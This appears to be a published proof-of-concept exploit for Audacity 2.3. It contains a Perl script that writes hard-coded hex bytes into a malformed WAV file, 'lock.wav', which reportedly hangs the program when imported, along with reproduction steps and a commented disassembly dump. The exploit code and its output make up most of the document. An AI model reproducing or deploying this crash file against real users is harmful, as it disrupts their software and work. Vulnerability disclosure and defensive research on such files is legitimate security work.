# Exploit Title: AudaCity 2.3 - Denial of Service (PoC)
# Author: Kagan Capar
# Discovery Date: 2018-10-19
# Software Link: https://www.fosshub.com/Audacity.html
# Vendor Homepage : https://www.audacityteam.org
# Tested Version: 2.3
# Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)
# other version should be affected
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "lock.wav". Open Audatcity.exe
# Go to File > Open > Import > Select "lock.wav file"
# you will see a locking on software.
# ! /usr/bin/perl
# Dump of assembler code for function data:
# 0x0000000000004040 <+0>: push %rdx
# 0x0000000000004041 <+1>: rex.WB
# 0x0000000000004042 <+2>: rex.RX
# 0x0000000000004043 <+3>: rex.RX retq $0x158
# 0x0000000000004047 <+7>: add %dl,0x41(%rdi)
# 0x000000000000404a <+10>: push %rsi
# 0x000000000000404b <+11>: rex.RB
# 0x000000000000404c <+12>: rex.R
# 0x000000000000404d <+13>: rex.R
# 0x000000000000404e <+14>: rex.R
# 0x000000000000404f <+15>: rex.R clc
# 0x0000000000004051 <+17>: (bad)
# 0x0000000000004052 <+18>: (bad)
# 0x0000000000004053 <+19>: incl (%rcx)
# 0x0000000000004055 <+21>: add %al,(%rcx)
# 0x0000000000004057 <+23>: add %ah,(%rdx)
# 0x0000000000004059 <+25>: push %rsi
# 0x000000000000405a <+26>: add %al,(%rax)
# 0x000000000000405c <+28>: rex.R lods %ds:(%rsi),%al
# 0x000000000000405e <+30>: add %al,(%rax)
# 0x0000000000004060 <+32>: add (%rax),%al
# 0x0000000000004062 <+34>: adc %al,(%rax)
# 0x0000000000004064 <+36>: add %al,(%rax)
# 0x0000000000004066 <+38>: data16 (bad)
# 0x0000000000004068 <+40>: movslq 0x0(%rsp,%rax,1),%esi
# 0x000000000000406c <+44>: add %al,(%rax)
# 0x000000000000406e <+46>: rex.W lods %ds:(%rsi),%al
# 0x0000000000004070 <+48>: add %al,(%rax)
# 0x0000000000004072 <+50>: fs (bad)
# 0x0000000000004074 <+52>: je 0x40d7 <shellcode+151>
# 0x0000000000004076 <+54>: nop
# 0x0000000000004077 <+55>: pop %rax
# 0x0000000000004078 <+56>: add %eax,(%rax)
# 0x000000000000407a <+58>: add %al,(%rax)
# 0x000000000000407c <+60>: add %al,(%rax)
# 0x000000000000407e <+62>: add %al,(%rax)
# 0x0000000000004080 <+64>: add %al,(%rax)
# 0x0000000000004082 <+66>: add %al,(%rax)
# 0x0000000000004084 <+68>: add %al,(%rax)
# 0x0000000000004086 <+70>: (bad)
# 0x0000000000004087 <+71>: incl (%rax)
# 0x0000000000004089 <+73>: add %al,(%rax)
# 0x000000000000408b <+75>: add %bh,%bh
# 0x000000000000408d <+77>: incl (%rax)
# 0x000000000000408f <+79>: add %bh,%bh
# 0x0000000000004091 <+81>: incl (%rax)
# 0x0000000000004093 <+83>: add %bh,%bh
# 0x0000000000004095 <+85>: incl (%rax)
# 0x0000000000004097 <+87>: add %bh,%bh
# 0x0000000000004099 <+89>: incl (%rax)
# 0x000000000000409b <+91>: add %bh,%bh
open(code, ">lock.wav");
binmode(code);
$data =
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .
"\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .
"\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .
"\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .
"\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .
"\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .
"\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .
"\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .
"\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .
"\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .
"\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .
"\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .
"\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .
"\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00";
print code $data;
close(code);